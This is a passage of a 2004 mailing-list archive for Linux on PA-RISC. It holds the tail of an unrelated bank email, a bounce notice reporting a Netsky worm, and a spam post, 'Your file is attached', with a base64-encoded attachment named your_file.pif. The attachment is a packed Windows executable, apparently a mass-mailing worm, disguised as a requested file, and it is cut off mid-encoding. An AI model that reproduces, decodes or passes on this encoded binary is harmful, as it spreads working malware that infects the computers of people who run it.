ZmFjZT0iWnVyaWNoIEJUIj5UbyBoZWxwIHVzIHNlcnZlIHlvdSBiZXR0ZXIsIGtpbmRseSBtZW50
aW9uIHlvdXIgY29tcGxldGUgYWNjb3VudCBudW1iZXIgYW5kIGFueSByZWZlcmVuY2UgbnVtYmVy
IHlvdSBtYXkgaGF2ZSB3aXRoIHJlc3BlY3QgdG8geW91ciBxdWVyeSBpbiBhbGwgZnV0dXJlIGNv
cnJlc3BvbmRlbmNlLiZuYnNwOzxCUj4mbmJzcDs8L0ZPTlQ+PC9QPjxQIGNsYXNzPU1zb05vcm1h
bCBzdHlsZT0iTUFSR0lOOiAwaW4gMGluIDBwdCI+PFNQQU4gc3R5bGU9IkNPTE9SOiBibGFjazsg
bXNvLWJpZGktZm9udC1mYW1pbHk6IEFyaWFsIj48Rk9OVCBmYWNlPSJadXJpY2ggQlQiPktpbmRs
eSB2aXNpdCBvdXIgd2Vic2l0ZSA8L0ZPTlQ+PEEgaHJlZj0iaHR0cDovL3d3dy5pY2ljaWJhbmsu
Y29tIj48Rk9OVCBmYWNlPSJadXJpY2ggQlQiPnd3dy5pY2ljaWJhbmsuY29tPC9GT05UPjwvQT48
Rk9OVCBmYWNlPSJadXJpY2ggQlQiPiBmb3IgY29tcHJlaGVuc2l2ZSBpbmZvcm1hdGlvbiBvbiBv
dXIgcHJvZHVjdHMgYW5kIHNlcnZpY2VzLiA8bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9QPjxQ
IGNsYXNzPU1zb05vcm1hbCBzdHlsZT0iTUFSR0lOOiAwaW4gMGluIDBwdCI+PEZPTlQgZmFjZT0i
WnVyaWNoIEJUIj4mbmJzcDs8bzpwPjwvbzpwPjwvRk9OVD48L1A+PFAgY2xhc3M9TXNvTm9ybWFs
IHN0eWxlPSJNQVJHSU46IDBpbiAwaW4gMHB0Ij48Rk9OVCBmYWNlPSJadXJpY2ggQlQiPjxTVFJP
Tkc+PFNQQU4gc3R5bGU9IkZPTlQtV0VJR0hUOiBub3JtYWw7IENPTE9SOiBibGFjazsgbXNvLWJp
ZGktZm9udC1mYW1pbHk6IEFyaWFsIj5XaXRoPC9TUEFOPjwvU1RST05HPjxCPjxTUEFOIHN0eWxl
PSJDT0xPUjogYmxhY2s7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBBcmlhbCI+Jm5ic3A7PC9TUEFO
PjwvQj48U1RST05HPjxTUEFOIHN0eWxlPSJGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xPUjogYmxh
Y2s7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBBcmlhbCI+cmVnYXJkcyw8L1NQQU4+PC9TVFJPTkc+
PEI+PFNQQU4gc3R5bGU9IkNPTE9SOiBibGFjazsgbXNvLWJpZGktZm9udC1mYW1pbHk6IEFyaWFs
Ij48bzpwPjwvbzpwPjwvU1BBTj48L0I+PC9GT05UPjwvUD48UD48U1BBTiBzdHlsZT0iRk9OVC1T
SVpFOiAxMXB0OyBDT0xPUjogYmxhY2s7IEZPTlQtRkFNSUxZOiAnWnVyaWNoIEJUJzsgbXNvLWJp
ZGktZm9udC1zaXplOiAxMC4wcHQ7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBBcmlhbCI+Q3VzdG9t
ZXImbmJzcDtDYXJlJm5ic3A7PG86cD48L286cD48L1NQQU4+PC9QPjxQIHN0eWxlPSJNQVJHSU4t
Qk9UVE9NOiAxMnB0Ij48U1BBTiBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBDT0xPUjogYmxhY2s7
IEZPTlQtRkFNSUxZOiAnWnVyaWNoIEJUJzsgbXNvLWJpZGktZm9udC1zaXplOiAxMC4wcHQ7IG1z
by1iaWRpLWZvbnQtZmFtaWx5OiBBcmlhbCI+SUNJQ0kgQmFuayBMaW1pdGVkPEJSPjxCUj48L1NQ
QU4+PFNQQU4gc3R5bGU9IkZPTlQtU0laRTogNy41cHQ7IENPTE9SOiBibGFjazsgRk9OVC1GQU1J
TFk6ICdadXJpY2ggQlQnOyBtc28tYmlkaS1mb250LWZhbWlseTogQXJpYWwiPlRoaXMgY29tbXVu
aWNhdGlvbiBiZWluZyBzZW50IGJ5IElDSUNJIEJhbmsgTHRkLiBpcyBwcml2aWxlZ2VkIGFuZCBj
b25maWRlbnRpYWwsIGFuZCBpcyBkaXJlY3RlZCB0byBhbmQgZm9yIHRoZSB1c2Ugb2YgdGhlIGFk
ZHJlc3NlZSBvbmx5LiBJZiB0aGlzIG1lc3NhZ2UgcmVhY2hlcyBhbnlvbmUgb3RoZXIgdGhhbiB0
aGUgaW50ZW5kZWQgcmVjaXBpZW50LCB3ZSByZXF1ZXN0IHRoZSByZWFkZXIgbm90IHRvIHJlcHJv
ZHVjZSwgY29weSwgZGlzc2VtaW5hdGUgb3IgaW4gYW55IG1hbm5lciBkaXN0cmlidXRlIGl0LiBX
ZSBmdXJ0aGVyIHJlcXVlc3Qgc3VjaCByZWNpcGllbnQgdG8gbm90aWZ5IHVzIGltbWVkaWF0ZWx5
IGJ5IHJldHVybiBlbWFpbCBhbmQgZGVsZXRlIHRoZSBvcmlnaW5hbCBtZXNzYWdlLiBJQ0lDSSBC
YW5rIEx0ZC4gZG9lcyBub3QgZ3VhcmFudGVlIHRoZSBzZWN1cml0eSBvZiBhbnkgaW5mb3JtYXRp
b24gdHJhbnNtaXR0ZWQgZWxlY3Ryb25pY2FsbHkgYW5kIGlzIG5vdCBsaWFibGUgZm9yIHRoZSBw
cm9wZXIsIHRpbWVseSBhbmQgY29tcGxldGUgdHJhbnNtaXNzaW9uIHRoZXJlb2YuIEJlZm9yZSBv
cGVuaW5nIGFueSBhdHRhY2htZW50cyBwbGVhc2UgY2hlY2sgdGhlbSBmb3IgdmlydXNlcyBhbmQg
ZGVmZWN0cy48L1NQQU4+PFNQQU4gc3R5bGU9IkZPTlQtU0laRTogOHB0OyBDT0xPUjogYmxhY2s7
IEZPTlQtRkFNSUxZOiAnWnVyaWNoIEJUJzsgbXNvLWJpZGktZm9udC1zaXplOiA3LjVwdDsgbXNv
LWJpZGktZm9udC1mYW1pbHk6IEFyaWFsIj48bzpwPjwvbzpwPjwvU1BBTj48L1A+PFA+Jm5ic3A7
PC9QPjwvRk9OVD48L0JPRFk+PC9IVE1MPg==

------_NextPart_88980249_boundary--




From - Thu Nov 08 21:31:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mail Delivery Subsystem <MAILER-DAEMON@mail.cjd.ro>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Returned mail: see transcript for details
Date: Mon, 19 Apr 2004 11:11:33 +0300
Lines: 78
Approved: news@gmane.org
Message-ID: <200404190811.i3J7T2g3023361@mail.cjd.ro>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	boundary="i3J7T2g3023361.1082362293/mail.cjd.ro"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623388 8473 80.91.229.3 (22 Nov 2014 02:29:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:48 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: MAILER-DAEMON  Mon Apr 19 02:13:02 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cjd.ro (unknown [80.96.223.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9767490F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Apr 2004 02:12:53 -0600 (MDT)
Original-Received: from localhost (localhost)
	by mail.cjd.ro (8.12.8/8.12.8) id i3J7T2g3023361;
	Mon, 19 Apr 2004 11:11:33 +0300
X-RAV-AntiVirus: Acest mail a fost scanat impotriva virusilor pe masina:
	mail.cjd.ro
Auto-Submitted: auto-generated (failure)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Apr 2004 08:13:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21465

This is a MIME-encapsulated message

--i3J7T2g3023361.1082362293/mail.cjd.ro

The original message was received at Wed, 14 Apr 2004 10:45:26 +0300
from IDENT:0@localhost [127.0.0.1]

   ----- The following addresses had permanent fatal errors -----
prefdb@prefecturadambovita.ro
    (expanded from: <pref-db@cjd.ro>)

   ----- Transcript of session follows -----
prefdb@prefecturadambovita.ro... Deferred: Connection timed out with mail.prefecturadambovita.ro.
Message could not be delivered for 5 days
Message will be deleted from queue

--i3J7T2g3023361.1082362293/mail.cjd.ro
Content-Type: message/delivery-status

Reporting-MTA: dns; mail.cjd.ro
Arrival-Date: Wed, 14 Apr 2004 10:45:26 +0300

Final-Recipient: RFC822; pref-db@cjd.ro
X-Actual-Recipient: RFC822; prefdb@prefecturadambovita.ro
Action: failed
Status: 4.4.7
Remote-MTA: DNS; mail.prefecturadambovita.ro
Last-Attempt-Date: Mon, 19 Apr 2004 11:11:33 +0300

--i3J7T2g3023361.1082362293/mail.cjd.ro
Content-Type: message/rfc822
Content-Transfer-Encoding: 8bit

Return-Path: <parisc-linux@lists.parisc-linux.org>
Received: from cjd.ro (IDENT:0@localhost [127.0.0.1])
	by mail.cjd.ro (8.12.8/8.12.8) with ESMTP id i3E7jMTo017518
	for <pref-db@cjd.ro>; Wed, 14 Apr 2004 10:45:26 +0300
X-RAV-AntiVirus: Acest mail a fost scanat impotriva virusilor pe masina:
	mail.cjd.ro
Message-Id: <200404140745.i3E7jMTo017518@mail.cjd.ro>
X-BitDefender-Scanner: Infected (File: (body), Exploit.Iframe.Vulnerability,
	Deleted;
	File: (body), Win32.Netsky.P@mm, Deleted), Agent: SMTP PROXY 1.5.6
	(mail)
X-BitDefender-Spam: No (44)
From: parisc-linux@lists.parisc-linux.org
To: pref-db@cjd.ro
Subject: Mail Delivery (failure pref-db@cjd.ro)
Date: Wed, 14 Apr 2004 11:43:57 +0300
MIME-Version: 1.0
Content-Type: multipart/related; type="multipart/alternative";
	boundary="----=_NextPart_000_001B_01C0CA80.6B015D10"
X-Priority: 3
X-MSMail-Priority: Normal

This is a multi-part message in MIME format.

------=_NextPart_000_001B_01C0CA80.6B015D10
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_001C_01C0CA80.6B015D10"

------=_NextPart_001_001C_01C0CA80.6B015D10
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

ct: [Re: Question]
Object: archive_iivan.doc                                                                   .exe
Virus: Win32.Netsky.P@mm


We strongly advise you to check your computer using BitDefender
antivirus products. You can download a fully functional trial
version of BitDefender from http://www.bitdefender.com


The BitDefender Lab
www.bitdefender.com

From - Thu Nov 08 21:31:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: montjoy@ececs.uc.edu
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Hi
Date: Mon, 19 Apr 2004 16:11:33 +0530
Lines: 345
Approved: news@gmane.org
Message-ID: <20040419104143.AFDA7488E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0010_000070AA.00004104"
X-Trace: ger.gmane.org 1416623389 8478 80.91.229.3 (22 Nov 2014 02:29:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: montjoy@ececs.uc.edu  Mon Apr 19 04:42:13 2004
Return-Path: <montjoy@ececs.uc.edu>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (unknown [61.1.108.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id AFDA7488E
	for <parisc-linux@parisc-linux.org>;
	Mon, 19 Apr 2004 04:41:43 -0600 (MDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Apr 2004 10:42:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21466

This is a multi-part message in MIME format.

------=_NextPart_000_0010_000070AA.00004104
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Your file is attached.

------=_NextPart_000_0010_000070AA.00004104
Content-Type: application/octet-stream;
	name="your_file.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="your_file.pif"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V
4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp
dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA
APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE
AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA
EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg
AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA
AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
